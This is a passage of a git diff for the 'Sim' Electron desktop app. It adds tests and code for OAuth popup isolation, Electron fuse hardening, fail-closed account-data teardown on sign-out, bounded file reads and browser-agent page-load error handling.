} + ) + .toBe(true) + } finally { + if (child.exitCode === null && child.signalCode === null) { + const exited = once(child, 'exit') + child.kill('SIGKILL') + await exited + } + rmSync(userDataPath, { recursive: true, force: true }) + } +}) diff --git a/apps/desktop/e2e/smoke.spec.ts b/apps/desktop/e2e/smoke.spec.ts index 6e1277dbeb6..b96f923908b 100644 --- a/apps/desktop/e2e/smoke.spec.ts +++ b/apps/desktop/e2e/smoke.spec.ts @@ -14,6 +14,8 @@ const PAGES: Record = {

fixture-app

+ + `, '/workspace/two': '

second-route

', '/login': '

fixture-login

', @@ -23,7 +25,16 @@ function startFixtureServer(): Promise<{ server: Server; origin: string }> { return new Promise((resolvePromise) => { const server = createServer((request, response) => { const path = new URL(request.url ?? '/', 'http://127.0.0.1').pathname - const body = PAGES[path] + const sessionCookie = request.headers.cookie + ?.split(';') + .map((cookie) => cookie.trim()) + .includes('sim-e2e-session=shared') + const body = + path === '/mcp' + ? sessionCookie + ? '

oauth-popup

' + : '

sign-in-required

' + : PAGES[path] if (!body) { response.writeHead(404, { 'Content-Type': 'text/html' }).end('

not found

') return @@ -105,6 +116,43 @@ test.describe('desktop shell smoke', () => { await expect(window.locator('#app')).toHaveText('fixture-app') }) + test('OAuth popups share the session without inheriting the privileged preload', async () => { + app = await launchApp(origin) + const window = await app.firstWindow() + await window.evaluate(() => { + document.cookie = 'sim-e2e-session=shared; Path=/; SameSite=Lax' + }) + const popupPromise = app.waitForEvent('window') + await window.locator('#mcp-popup').click() + const popup = await popupPromise + + await expect(popup.locator('#mcp')).toHaveText('oauth-popup') + await expect + .poll(() => popup.evaluate(() => typeof (globalThis as { simDesktop?: unknown }).simDesktop)) + .toBe('undefined') + }) + + test('cross-origin same-window navigation opens externally and preserves the app document', async () => { + app = await launchApp(origin) + const window = await app.firstWindow() + await app.evaluate(({ shell }) => { + const opened: string[] = [] + ;(globalThis as { __openedExternal?: string[] }).__openedExternal = opened + shell.openExternal = async (url: string) => { + opened.push(url) + } + }) + + await window.locator('#external-navigate').click({ noWaitAfter: true }) + + await expect + .poll(() => + app.evaluate(() => (globalThis as { __openedExternal?: string[] }).__openedExternal) + ) + .toEqual(['https://docs.sim.ai/navigation']) + expect(window.url()).toBe(`${origin}/workspace`) + }) + test('unreachable origin shows the bundled offline page', async () => { app = await launchApp('http://127.0.0.1:1') const window = await app.firstWindow() @@ -113,7 +161,15 @@ test.describe('desktop shell smoke', () => { await expect(window.locator('.wordmark')).toBeVisible() await expect(window.locator('.wordmark')).toHaveAttribute('aria-label', 'Sim') await expect(window.locator('#title')).toHaveText('Can’t connect to Sim') - await expect(window.locator('#status')).toHaveText('Check status') + // The recovery path for a self-hosted shell pointed at a server it cannot + // reach. Exercised end to end here because it is the only coverage of the + // `server:` local-page IPC gate: the bundled page reads the configuration + // over the real preload bridge, and status.sim.ai is withheld because this + // origin is not one of Sim's own. `toBeHidden` is load-bearing — the page's + // own `button { display: inline-flex }` outranks the UA `[hidden]` rule, so + // the attribute alone does not hide it. + await expect(window.locator('#server')).toBeVisible() + await expect(window.locator('#status')).toBeHidden() await expect .poll(() => window.evaluate(() => document.fonts.check('16px "Season Sans"'))) .toBe(true) @@ -123,5 +179,8 @@ test.describe('desktop shell smoke', () => { await expect(window.locator('#retry')).toHaveCSS('font-size', '14px') await expect(window.locator('#retry')).toHaveCSS('line-height', '20px') await expect(window.locator('#retry')).toHaveCSS('text-align', 'left') + await window.locator('#retry').focus() + await expect(window.locator('#retry')).toHaveCSS('outline-style', 'solid') + await expect(window.locator('#detail')).toHaveAttribute('role', 'status') }) }) diff --git a/apps/desktop/electron-builder.yml b/apps/desktop/electron-builder.yml index a8b4637f754..34d390dad9c 100644 --- a/apps/desktop/electron-builder.yml +++ b/apps/desktop/electron-builder.yml @@ -36,6 +36,8 @@ electronFuses: enableNodeCliInspectArguments: false enableEmbeddedAsarIntegrityValidation: true onlyLoadAppFromAsar: true + loadBrowserProcessSpecificV8Snapshot: false + grantFileProtocolExtraPrivileges: false mac: category: public.app-category.developer-tools diff --git a/apps/desktop/package.json b/apps/desktop/package.json index 5fa7d00c9e1..52161642cb8 100644 --- a/apps/desktop/package.json +++ b/apps/desktop/package.json @@ -45,6 +45,7 @@ "safe-regex2": "5.1.0" }, "devDependencies": { + "@electron/fuses": "1.8.0", "@playwright/test": "1.61.1", "@sim/tsconfig": "workspace:*", "@types/micromatch": "4.0.10", diff --git a/apps/desktop/src/main/account-data-generation.test.ts b/apps/desktop/src/main/account-data-generation.test.ts new file mode 100644 index 00000000000..8062a0d2fa8 --- /dev/null +++ b/apps/desktop/src/main/account-data-generation.test.ts @@ -0,0 +1,230 @@ +import { + existsSync, + mkdirSync, + mkdtempSync, + readFileSync, + unlinkSync, + writeFileSync, +} from 'node:fs' +import { rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' +import { + beginAccountDataTeardown, + captureAccountDataGeneration, + completeAccountDataTeardown, + completeDeploymentScopedTeardown, + getAccountDataTeardownKind, + getAccountDataTeardownOrigin, + initializeAccountDataRecovery, + invalidateAccountDataOperations, + isAccountDataTeardownRequired, + prepareAccountDataTeardownForQuit, + retryAccountDataTeardown, + runAccountDataMutation, + waitForAccountDataMutations, +} from '@/main/account-data-generation' + +const ORIGIN = 'https://sim.example.com' + +describe('account data generation', () => { + let directory: string + let markerPath: string + + beforeEach(() => { + directory = mkdtempSync(join(tmpdir(), 'sim-account-recovery-')) + markerPath = join(directory, 'teardown-required.json') + initializeAccountDataRecovery(markerPath) + }) + + afterEach(async () => { + completeAccountDataTeardown() + initializeAccountDataRecovery(null) + await rm(directory, { recursive: true, force: true }) + }) + + it('blocks account-data mutations and persists teardown intent', () => { + expect(beginAccountDataTeardown('account', ORIGIN)).toBe(true) + + expect(existsSync(markerPath)).toBe(true) + expect(JSON.parse(readFileSync(markerPath, 'utf8'))).toEqual({ + version: 2, + kind: 'account', + origin: ORIGIN, + }) + expect(isAccountDataTeardownRequired()).toBe(true) + }) + + it('fails closed and retries marker persistence before quit', () => { + const blockedParent = join(directory, 'blocked') + markerPath = join(blockedParent, 'teardown-required.json') + initializeAccountDataRecovery(markerPath) + writeFileSync(blockedParent, 'not a directory') + + expect(beginAccountDataTeardown('account', ORIGIN)).toBe(false) + expect(isAccountDataTeardownRequired()).toBe(false) + expect(prepareAccountDataTeardownForQuit()).toBe(true) + + unlinkSync(blockedParent) + mkdirSync(blockedParent) + expect(beginAccountDataTeardown('account', ORIGIN)).toBe(true) + expect(existsSync(markerPath)).toBe(true) + }) + + it('does not erase data when the recovery marker cannot be written', async () => { + const blockedParent = join(directory, 'blocked') + markerPath = join(blockedParent, 'teardown-required.json') + initializeAccountDataRecovery(markerPath) + writeFileSync(blockedParent, 'not a directory') + const generation = captureAccountDataGeneration() + expect(beginAccountDataTeardown('account', ORIGIN)).toBe(false) + const firstClear = vi.fn(async () => {}) + const secondClear = vi.fn(async () => {}) + + await expect( + retryAccountDataTeardown([ + { label: 'browser profile', clear: firstClear }, + { label: 'local filesystem grants', clear: secondClear }, + ]) + ).resolves.toEqual([]) + + expect(firstClear).not.toHaveBeenCalled() + expect(secondClear).not.toHaveBeenCalled() + expect(isAccountDataTeardownRequired()).toBe(false) + await expect(runAccountDataMutation(generation, async () => 'ok')).resolves.toBe('ok') + }) + + it('restores the fail-closed state from a marker and clears it only on completion', () => { + writeFileSync(markerPath, JSON.stringify({ version: 2, kind: 'deployment', origin: ORIGIN })) + + expect(initializeAccountDataRecovery(markerPath)).toBe(true) + expect(isAccountDataTeardownRequired()).toBe(true) + expect(getAccountDataTeardownKind()).toBe('deployment') + expect(getAccountDataTeardownOrigin()).toBe(ORIGIN) + + completeAccountDataTeardown() + expect(existsSync(markerPath)).toBe(false) + expect(isAccountDataTeardownRequired()).toBe(false) + expect(getAccountDataTeardownKind()).toBeNull() + }) + + it('keeps recovery gated until a retry clears every account store', async () => { + beginAccountDataTeardown('account', ORIGIN) + const failedClear = vi.fn(async () => { + throw new Error('keychain unavailable') + }) + const successfulClear = vi.fn(async () => {}) + + await expect( + retryAccountDataTeardown([ + { label: 'browser profile', clear: failedClear }, + { label: 'local filesystem grants', clear: successfulClear }, + ]) + ).resolves.toEqual(['browser profile']) + expect(existsSync(markerPath)).toBe(true) + expect(isAccountDataTeardownRequired()).toBe(true) + + await expect( + retryAccountDataTeardown([ + { label: 'browser profile', clear: successfulClear }, + { label: 'local filesystem grants', clear: successfulClear }, + ]) + ).resolves.toEqual([]) + expect(existsSync(markerPath)).toBe(false) + expect(isAccountDataTeardownRequired()).toBe(false) + }) + + it('never downgrades or clears an account recovery marker for a server switch', () => { + beginAccountDataTeardown('account', ORIGIN) + beginAccountDataTeardown('deployment', ORIGIN) + const commit = vi.fn(() => true) + + expect(getAccountDataTeardownKind()).toBe('account') + expect(completeDeploymentScopedTeardown(commit)).toBe(false) + expect(commit).not.toHaveBeenCalled() + expect(existsSync(markerPath)).toBe(true) + expect(isAccountDataTeardownRequired()).toBe(true) + }) + + it('does not retarget an active teardown to a different origin', () => { + beginAccountDataTeardown('deployment', ORIGIN) + + expect(beginAccountDataTeardown('account', 'https://other.example.com')).toBe(false) + expect(getAccountDataTeardownKind()).toBe('deployment') + expect(getAccountDataTeardownOrigin()).toBe(ORIGIN) + expect(JSON.parse(readFileSync(markerPath, 'utf8'))).toEqual({ + version: 2, + kind: 'deployment', + origin: ORIGIN, + }) + }) + + it('keeps deployment recovery armed when the server configuration commit fails', () => { + beginAccountDataTeardown('deployment', ORIGIN) + + expect(completeDeploymentScopedTeardown(() => false)).toBe(false) + expect(existsSync(markerPath)).toBe(true) + expect(isAccountDataTeardownRequired()).toBe(true) + }) + + it('keeps deployment recovery armed when the server configuration commit throws', () => { + beginAccountDataTeardown('deployment', ORIGIN) + + expect(() => + completeDeploymentScopedTeardown(() => { + throw new Error('disk unavailable') + }) + ).toThrow('disk unavailable') + expect(existsSync(markerPath)).toBe(true) + expect(isAccountDataTeardownRequired()).toBe(true) + }) + + it('reports successful completion of a deployment-scoped teardown', () => { + beginAccountDataTeardown('deployment', ORIGIN) + + expect(completeDeploymentScopedTeardown(() => true)).toBe(true) + expect(isAccountDataTeardownRequired()).toBe(false) + }) + + it('treats an unknown marker version as an untrusted account teardown', () => { + writeFileSync(markerPath, '{"version":3,"kind":"deployment","origin":"https://old.example"}') + + initializeAccountDataRecovery(markerPath) + + expect(getAccountDataTeardownKind()).toBe('account') + expect(getAccountDataTeardownOrigin()).toBeNull() + expect(prepareAccountDataTeardownForQuit()).toBe(false) + }) + + it('waits for an admitted commit before teardown can clear its store', async () => { + let releaseMutation: (() => void) | undefined + const mutation = new Promise((resolve) => { + releaseMutation = resolve + }) + const generation = captureAccountDataGeneration() + const pendingMutation = runAccountDataMutation(generation, () => mutation) + + invalidateAccountDataOperations() + const settled = vi.fn() + const pendingWait = waitForAccountDataMutations().then(settled) + await Promise.resolve() + expect(settled).not.toHaveBeenCalled() + + releaseMutation?.() + await pendingMutation + await pendingWait + expect(settled).toHaveBeenCalledOnce() + }) + + it('rejects a stale commit after teardown begins', async () => { + const generation = captureAccountDataGeneration() + invalidateAccountDataOperations() + const mutation = vi.fn(async () => {}) + + await expect(runAccountDataMutation(generation, mutation)).rejects.toThrow( + 'expired during teardown' + ) + expect(mutation).not.toHaveBeenCalled() + }) +}) diff --git a/apps/desktop/src/main/account-data-generation.ts b/apps/desktop/src/main/account-data-generation.ts new file mode 100644 index 00000000000..9a24ed70050 --- /dev/null +++ b/apps/desktop/src/main/account-data-generation.ts @@ -0,0 +1,223 @@ +import { readFileSync, unlinkSync } from 'node:fs' +import { writeJsonFileAtomicallySync } from '@/main/atomic-json-file' +import { canonicalOrigin, validateOriginInput } from '@/main/config' + +const RECOVERY_MARKER_VERSION = 2 +export type AccountDataTeardownKind = 'account' | 'deployment' + +interface AccountDataRecoveryMarker { + kind: AccountDataTeardownKind + origin: string | null +} + +let generation = 0 +let teardownRequired = false +let teardownKind: AccountDataTeardownKind | null = null +let teardownOrigin: string | null = null +let recoveryMarkerPath: string | null = null +let durableTeardownKind: AccountDataTeardownKind | null = null +let durableTeardownOrigin: string | null = null +const activeMutations = new Set>() + +export class ExpiredAccountDataOperationError extends Error { + constructor() { + super('The account-data operation expired during teardown.') + this.name = 'ExpiredAccountDataOperationError' + } +} + +export function captureAccountDataGeneration(): number { + return generation +} + +/** Expires work already in progress without changing whether new work is admitted. */ +export function advanceAccountDataGeneration(): void { + generation += 1 +} + +/** Restores the fail-closed teardown state before account-bearing stores open. */ +export function initializeAccountDataRecovery(filePath: string | null): boolean { + recoveryMarkerPath = filePath + const marker = filePath ? readRecoveryMarker(filePath) : null + const recoveryRequired = marker !== null + if (recoveryRequired && !teardownRequired) { + advanceAccountDataGeneration() + } + teardownRequired = recoveryRequired + teardownKind = marker?.kind ?? null + teardownOrigin = marker?.origin ?? null + durableTeardownKind = marker?.kind ?? null + durableTeardownOrigin = marker?.origin ?? null + return recoveryRequired +} + +export function invalidateAccountDataOperations(): void { + advanceAccountDataGeneration() + teardownRequired = true +} + +/** Persists recovery intent before invalidating account-data work. */ +export function beginAccountDataTeardown(kind: AccountDataTeardownKind, origin: string): boolean { + const validated = validateOriginInput(origin) + if (!validated.ok) return false + const targetOrigin = canonicalOrigin(validated.origin) + if (teardownRequired && teardownOrigin !== targetOrigin) return false + const effectiveKind = kind === 'account' || teardownKind === 'account' ? 'account' : 'deployment' + if (!persistAccountDataRecoveryMarker(effectiveKind, targetOrigin)) return false + const wasRequired = teardownRequired + teardownKind = effectiveKind + teardownOrigin = targetOrigin + teardownRequired = true + if (!wasRequired) advanceAccountDataGeneration() + return true +} + +export function isAccountDataTeardownRequired(): boolean { + return teardownRequired +} + +export function getAccountDataTeardownKind(): AccountDataTeardownKind | null { + return teardownKind +} + +export function getAccountDataTeardownOrigin(): string | null { + return teardownOrigin +} + +/** Retries marker persistence so shutdown cannot lose an incomplete teardown. */ +export function prepareAccountDataTeardownForQuit(): boolean { + return ( + !teardownRequired || + (teardownKind !== null && + teardownOrigin !== null && + persistAccountDataRecoveryMarker(teardownKind, teardownOrigin)) + ) +} + +export interface AccountDataRecoveryStore { + label: string + clear: () => void | Promise +} + +/** Retries every erasure from an interrupted teardown without restoring stores first. */ +export async function retryAccountDataTeardown( + stores: readonly AccountDataRecoveryStore[] +): Promise { + if (!teardownRequired) return [] + await waitForAccountDataMutations() + const outcomes = await Promise.allSettled( + stores.map(({ clear }) => Promise.resolve().then(clear)) + ) + const failures = outcomes.flatMap((outcome, index) => + outcome.status === 'rejected' ? [stores[index].label] : [] + ) + if (failures.length === 0) { + completeAccountDataTeardown() + } + return failures +} + +export function isAccountDataGenerationCurrent(capturedGeneration: number): boolean { + return !teardownRequired && capturedGeneration === generation +} + +/** Allows account-data mutations again only after every sensitive store was erased. */ +export function completeAccountDataTeardown(): void { + if (recoveryMarkerPath) { + try { + unlinkSync(recoveryMarkerPath) + } catch (error) { + const code = (error as NodeJS.ErrnoException).code + if (code !== 'ENOENT' && code !== 'ENOTDIR') throw error + } + } + durableTeardownKind = null + durableTeardownOrigin = null + teardownRequired = false + teardownKind = null + teardownOrigin = null +} + +/** Commits a server switch and clears its marker without weakening an account wipe. */ +export function completeDeploymentScopedTeardown(commit: () => boolean): boolean { + if (teardownKind !== 'deployment') return false + if (!commit()) return false + completeAccountDataTeardown() + return true +} + +/** Tracks a persistent mutation so teardown waits for it to settle. */ +export async function runAccountDataMutation( + capturedGeneration: number, + operation: () => Promise +): Promise { + if (!isAccountDataGenerationCurrent(capturedGeneration)) { + throw new ExpiredAccountDataOperationError() + } + const pending = operation() + activeMutations.add(pending) + try { + return await pending + } finally { + activeMutations.delete(pending) + } +} + +/** Waits until commits already admitted for the outgoing account have settled. */ +export async function waitForAccountDataMutations(): Promise { + while (activeMutations.size > 0) { + await Promise.allSettled([...activeMutations]) + } +} + +function persistAccountDataRecoveryMarker(kind: AccountDataTeardownKind, origin: string): boolean { + if ( + durableTeardownOrigin === origin && + (durableTeardownKind === 'account' || + (durableTeardownKind === 'deployment' && kind === 'deployment')) + ) { + return true + } + if (!recoveryMarkerPath) return false + try { + writeJsonFileAtomicallySync(recoveryMarkerPath, { + version: RECOVERY_MARKER_VERSION, + kind, + origin, + }) + durableTeardownKind = kind + durableTeardownOrigin = origin + return true + } catch { + return false + } +} + +function readRecoveryMarker(filePath: string): AccountDataRecoveryMarker | null { + let raw: string + try { + raw = readFileSync(filePath, 'utf8') + } catch (error) { + return (error as NodeJS.ErrnoException).code === 'ENOENT' + ? null + : { kind: 'account', origin: null } + } + + try { + const parsed = JSON.parse(raw) as { kind?: unknown; origin?: unknown; version?: unknown } + if ( + parsed.version !== RECOVERY_MARKER_VERSION || + (parsed.kind !== 'account' && parsed.kind !== 'deployment') || + typeof parsed.origin !== 'string' + ) { + return { kind: 'account', origin: null } + } + const validated = validateOriginInput(parsed.origin) + if (!validated.ok || canonicalOrigin(validated.origin) !== parsed.origin) { + return { kind: 'account', origin: null } + } + return { kind: parsed.kind, origin: parsed.origin } + } catch { + return { kind: 'account', origin: null } + } +} diff --git a/apps/desktop/src/main/atomic-json-file.test.ts b/apps/desktop/src/main/atomic-json-file.test.ts new file mode 100644 index 00000000000..fdb1fce2c08 --- /dev/null +++ b/apps/desktop/src/main/atomic-json-file.test.ts @@ -0,0 +1,47 @@ +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, describe, expect, it } from 'vitest' +import { + FileResourceLimitError, + readFileWithinLimit, + readFileWithinLimitSync, +} from '@/main/atomic-json-file' + +describe('bounded file reads', () => { + let directory: string + + beforeEach(() => { + directory = mkdtempSync(join(tmpdir(), 'sim-bounded-file-')) + }) + + afterEach(() => { + rmSync(directory, { recursive: true, force: true }) + }) + + it('reads the file through its opened handle', async () => { + const filePath = join(directory, 'store.json') + writeFileSync(filePath, 'bounded payload') + + await expect(readFileWithinLimit(filePath, 15)).resolves.toEqual(Buffer.from('bounded payload')) + expect(readFileWithinLimitSync(filePath, 15)).toEqual(Buffer.from('bounded payload')) + }) + + it('rejects a file larger than the configured limit', async () => { + const filePath = join(directory, 'store.json') + writeFileSync(filePath, 'too large') + + await expect(readFileWithinLimit(filePath, 8)).rejects.toBeInstanceOf(FileResourceLimitError) + expect(() => readFileWithinLimitSync(filePath, 8)).toThrow(FileResourceLimitError) + }) + + it('rejects non-file handles', async () => { + const childDirectory = join(directory, 'store') + mkdirSync(childDirectory) + + await expect(readFileWithinLimit(childDirectory, 100)).rejects.toBeInstanceOf( + FileResourceLimitError + ) + expect(() => readFileWithinLimitSync(childDirectory, 100)).toThrow(FileResourceLimitError) + }) +}) diff --git a/apps/desktop/src/main/atomic-json-file.ts b/apps/desktop/src/main/atomic-json-file.ts index 4561b4c0447..ff364e2dc40 100644 --- a/apps/desktop/src/main/atomic-json-file.ts +++ b/apps/desktop/src/main/atomic-json-file.ts @@ -1,10 +1,71 @@ -import { mkdirSync, renameSync, writeFileSync } from 'node:fs' -import { mkdir, rename, unlink, writeFile } from 'node:fs/promises' +import { + closeSync, + fstatSync, + mkdirSync, + openSync, + readSync, + renameSync, + writeFileSync, +} from 'node:fs' +import { mkdir, open, rename, unlink, writeFile } from 'node:fs/promises' import { dirname } from 'node:path' /** Owner-only, matching every store that keeps user data in userData. */ const FILE_MODE = 0o600 +export class FileResourceLimitError extends Error { + constructor() { + super('File exceeded the configured size limit') + this.name = 'FileResourceLimitError' + } +} + +function validateReadableFile(isFile: boolean, size: number, maxBytes: number): void { + if (!isFile || !Number.isSafeInteger(size) || size < 0 || size > maxBytes) { + throw new FileResourceLimitError() + } +} + +/** Reads at most the size observed on the opened file handle, plus one growth-detection byte. */ +export async function readFileWithinLimit(filePath: string, maxBytes: number): Promise { + const handle = await open(filePath, 'r') + try { + const metadata = await handle.stat() + validateReadableFile(metadata.isFile(), metadata.size, maxBytes) + const buffer = Buffer.allocUnsafe(metadata.size + 1) + let offset = 0 + while (offset < buffer.length) { + const { bytesRead } = await handle.read(buffer, offset, buffer.length - offset, offset) + if (bytesRead === 0) break + offset += bytesRead + } + if (offset > metadata.size) throw new FileResourceLimitError() + return buffer.subarray(0, offset) + } finally { + await handle.close() + } +} + +/** Synchronous counterpart for Electron shutdown and startup paths that cannot await. */ +export function readFileWithinLimitSync(filePath: string, maxBytes: number): Buffer { + const descriptor = openSync(filePath, 'r') + try { + const metadata = fstatSync(descriptor) + validateReadableFile(metadata.isFile(), metadata.size, maxBytes) + const buffer = Buffer.allocUnsafe(metadata.size + 1) + let offset = 0 + while (offset < buffer.length) { + const bytesRead = readSync(descriptor, buffer, offset, buffer.length - offset, offset) + if (bytesRead === 0) break + offset += bytesRead + } + if (offset > metadata.size) throw new FileResourceLimitError() + return buffer.subarray(0, offset) + } finally { + closeSync(descriptor) + } +} + /** * Distinct per call, not just per process. * diff --git a/apps/desktop/src/main/browser-agent/driver-profile.test.ts b/apps/desktop/src/main/browser-agent/driver-profile.test.ts new file mode 100644 index 00000000000..fb77abf35d5 --- /dev/null +++ b/apps/desktop/src/main/browser-agent/driver-profile.test.ts @@ -0,0 +1,55 @@ +import { beforeEach, describe, expect, it, vi } from 'vitest' + +vi.mock('electron', () => import('@/test/electron-mock')) + +const mocks = vi.hoisted(() => ({ + clearProfileStorage: vi.fn(async () => {}), + clearCredentials: vi.fn(async () => {}), +})) + +vi.mock('@/main/browser-agent/session', () => ({ + clearProfileStorage: mocks.clearProfileStorage, + initSession: vi.fn(), +})) + +vi.mock('@/main/browser-credentials', () => ({ + clearCredentials: mocks.clearCredentials, + fillCoordinator: vi.fn(() => null), + initFillCoordinator: vi.fn(), +})) + +import { clearBrowserProfile, initDriver } from '@/main/browser-agent/driver' +import type { ConfigStore } from '@/main/config' + +describe('clearBrowserProfile', () => { + beforeEach(() => { + vi.clearAllMocks() + }) + + it('requires settings erasure for sign-out but lets explicit server repair replace it', async () => { + const config = { + get: vi.fn(() => undefined), + set: vi.fn(), + flush: vi.fn(() => false), + } as unknown as ConfigStore + initDriver( + { + onPageState: vi.fn(), + onTabsState: vi.fn(), + onSessionStatus: vi.fn(), + onFillAvailability: vi.fn(), + }, + () => null, + config + ) + + await expect(clearBrowserProfile()).rejects.toThrow('Browser profile teardown was incomplete') + await expect( + clearBrowserProfile({ settingsPersistence: 'server-repair' }) + ).resolves.toBeUndefined() + + expect(mocks.clearProfileStorage).toHaveBeenCalledTimes(2) + expect(mocks.clearCredentials).toHaveBeenCalledTimes(2) + expect(config.flush).toHaveBeenCalledTimes(2) + }) +}) diff --git a/apps/desktop/src/main/browser-agent/driver.test.ts b/apps/desktop/src/main/browser-agent/driver.test.ts index d63d828c324..84613c62d1a 100644 --- a/apps/desktop/src/main/browser-agent/driver.test.ts +++ b/apps/desktop/src/main/browser-agent/driver.test.ts @@ -412,6 +412,59 @@ describe('executeTool', () => { ) }) + it('publishes main-frame load failures and retries their uncommitted URL', async () => { + const onPageState = vi.fn() + const win = new BrowserWindow() + driver.initDriver( + { + onPageState, + onTabsState: vi.fn(), + onSessionStatus: vi.fn(), + onFillAvailability: vi.fn(), + }, + () => win + ) + driver.activateBrowserScope('chat-test') + await driver.executeTool('chat-test', 'browser_open_tab', {}) + const contents = session.requireTab().view.webContents + const eventHandlers = (contents.on as unknown as ReturnType).mock.calls + const failLoad = eventHandlers.find(([eventName]) => eventName === 'did-fail-load')?.[1] as + | ((...args: unknown[]) => void) + | undefined + const failedUrl = 'http://localhost:3004/login' + + onPageState.mockClear() + failLoad?.({}, -102, 'ERR_CONNECTION_REFUSED', failedUrl, false) + failLoad?.({}, -3, 'ERR_ABORTED', failedUrl, true) + expect(onPageState).not.toHaveBeenCalled() + + failLoad?.({}, -102, 'ERR_CONNECTION_REFUSED', failedUrl, true) + + expect(onPageState).toHaveBeenLastCalledWith( + expect.objectContaining({ + url: failedUrl, + issue: { + kind: 'load-error', + code: -102, + description: 'ERR_CONNECTION_REFUSED', + url: failedUrl, + }, + }) + ) + + vi.mocked(contents.loadURL).mockClear() + await driver.handlePanelAction('chat-test', { action: 'reload' }) + expect(contents.loadURL).toHaveBeenCalledWith(failedUrl) + + vi.mocked(contents.loadURL).mockClear() + await driver.executeTool('chat-test', 'browser_go_back', {}) + expect(session.pageIssueForContents(contents)).toBeUndefined() + expect(session.canGoForward(contents)).toBe(true) + + await driver.executeTool('chat-test', 'browser_go_forward', {}) + expect(contents.loadURL).toHaveBeenCalledWith(failedUrl) + }) + it('forces fill availability to replay on scope activation and tab switches', async () => { const refreshAvailability = vi .spyOn(fillCoordinator()!, 'refreshAvailability') @@ -518,6 +571,23 @@ describe('executeTool', () => { ) }) + it('routes an exact renderer media decision through the scoped session boundary', async () => { + const respond = vi.spyOn(session, 'respondToMediaPermission').mockResolvedValue() + + await driver.handlePanelAction('chat-test', { + action: 'respond-media-permission', + requestId: 'request-1', + allowed: true, + }) + await driver.handlePanelAction('chat-test', { + action: 'respond-media-permission', + requestId: 'request-2', + }) + + expect(respond).toHaveBeenCalledOnce() + expect(respond).toHaveBeenCalledWith('request-1', true) + }) + it('keeps tool queues and tab state isolated by chat scope', async () => { await driver.executeTool('chat-a', 'browser_open_tab', {}) await driver.executeTool('chat-a', 'browser_open_tab', {}) diff --git a/apps/desktop/src/main/browser-agent/driver.ts b/apps/desktop/src/main/browser-agent/driver.ts index 371a1b78a8e..d8ce0631824 100644 --- a/apps/desktop/src/main/browser-agent/driver.ts +++ b/apps/desktop/src/main/browser-agent/driver.ts @@ -264,14 +264,18 @@ function recordNotice(notice: string): void { * navigations and tab switches. */ function pageStateFor(contents: WebContents, tabId: string): BrowserPageState { + const issue = session.pageIssueForContents(contents) + const mediaPermissionRequest = session.mediaPermissionRequestForContents(contents) return { scopeId: session.getBrowserScopeId(), tabId, - url: contents.getURL(), - title: contents.getTitle(), - loading: contents.isLoadingMainFrame(), - canGoBack: contents.navigationHistory.canGoBack(), - canGoForward: contents.navigationHistory.canGoForward(), + url: issue?.url ?? contents.getURL(), + title: issue?.kind === 'load-error' ? '' : contents.getTitle(), + loading: issue ? false : contents.isLoadingMainFrame(), + canGoBack: session.canGoBack(contents), + canGoForward: session.canGoForward(contents), + ...(issue ? { issue } : {}), + ...(mediaPermissionRequest ? { mediaPermissionRequest } : {}), } } @@ -346,6 +350,18 @@ function instrumentTab(contents: WebContents): void { pushTabsState() }) ) + contents.on( + 'did-fail-load', + inScope((_event, errorCode, errorDescription, validatedURL, isMainFrame) => { + if (!isMainFrame || errorCode === 0 || errorCode === -3) return + session.recordPageLoadFailure(contents, { + kind: 'load-error', + code: errorCode, + description: errorDescription, + url: validatedURL || contents.getURL(), + }) + }) + ) contents.on( 'did-frame-navigate', inScope( @@ -364,7 +380,6 @@ function instrumentTab(contents: WebContents): void { for (const event of [ 'did-navigate-in-page', 'page-title-updated', - 'did-start-loading', 'did-finish-load', 'did-stop-loading', ] as const) { @@ -376,6 +391,14 @@ function instrumentTab(contents: WebContents): void { }) ) } + contents.on( + 'did-start-loading', + inScope(() => { + session.notePageLoadStarted(contents) + pushPageState(contents) + pushTabsState() + }) + ) driverCallbacks?.onSessionStatus(true, scopeId) } @@ -435,6 +458,7 @@ export function initDriver( // The fill affordance belongs to whichever page is in front. void fillCoordinator()?.refreshAvailability(true) }, + onPageStateChanged: pushPageState, onTabsChanged: pushTabsState, onTabThemeChanged: (contents, theme) => { void cdp.setColorScheme(contents, theme).catch((error) => { @@ -639,8 +663,9 @@ export async function clearBrowsingData( ): Promise { // The remembered browsing trail is the local mirror of the cookie jar, so it // goes when cookies do and stays when they do not. - if (kinds.includes('cookies')) knownSessions?.clear() + const settingsCleared = !kinds.includes('cookies') || knownSessions?.clear() !== false await session.clearAgentData(kinds) + if (!settingsCleared) throw new Error('Browser settings could not be erased') } /** @@ -649,15 +674,32 @@ export async function clearBrowsingData( * in on the same machine must not inherit the previous user's sessions or * passwords. */ -export async function clearBrowserProfile(): Promise { - knownSessions?.clear() - await session.clearProfileStorage() - await clearCredentials() +export interface ClearBrowserProfileOptions { + /** The server picker will replace the blocked settings file immediately after profile erasure. */ + settingsPersistence: 'required' | 'server-repair' +} + +export async function clearBrowserProfile( + options: ClearBrowserProfileOptions = { settingsPersistence: 'required' } +): Promise { + const settingsCleared = knownSessions?.clear() !== false + const outcomes = await Promise.allSettled([session.clearProfileStorage(), clearCredentials()]) // Last, covering the pinned-tab list `clearProfileStorage` just emptied. // Settings writes coalesce, and an erasure that is still sitting in that // window when the process dies leaves the previous account's data on disk // after sign-out already told the user it was gone. - configStore?.flush() + if ( + (!settingsCleared || configStore?.flush() === false) && + options.settingsPersistence === 'required' + ) { + outcomes.push({ status: 'rejected', reason: new Error('Browser settings could not be erased') }) + } + const failures = outcomes.flatMap((outcome) => + outcome.status === 'rejected' ? [outcome.reason] : [] + ) + if (failures.length > 0) { + throw new AggregateError(failures, 'Browser profile teardown was incomplete.') + } } function str(params: Record, key: string): string | undefined { @@ -1963,19 +2005,20 @@ async function executeToolInner( case 'browser_go_forward': { invalidateSnapshot() const contents = session.requireAutomationTab().view.webContents - const history = contents.navigationHistory assertCurrentExecution() let completion: Promise if (tool === 'browser_go_back') { - if (!history.canGoBack()) throw new ToolError('Cannot go back — no earlier history entry.') + if (!session.canGoBack(contents)) { + throw new ToolError('Cannot go back — no earlier history entry.') + } completion = waitForLoadComplete(contents, NAVIGATION_TIMEOUT_MS) - history.goBack() + session.goBack(contents) } else { - if (!history.canGoForward()) { + if (!session.canGoForward(contents)) { throw new ToolError('Cannot go forward — no later history entry.') } completion = waitForLoadComplete(contents, 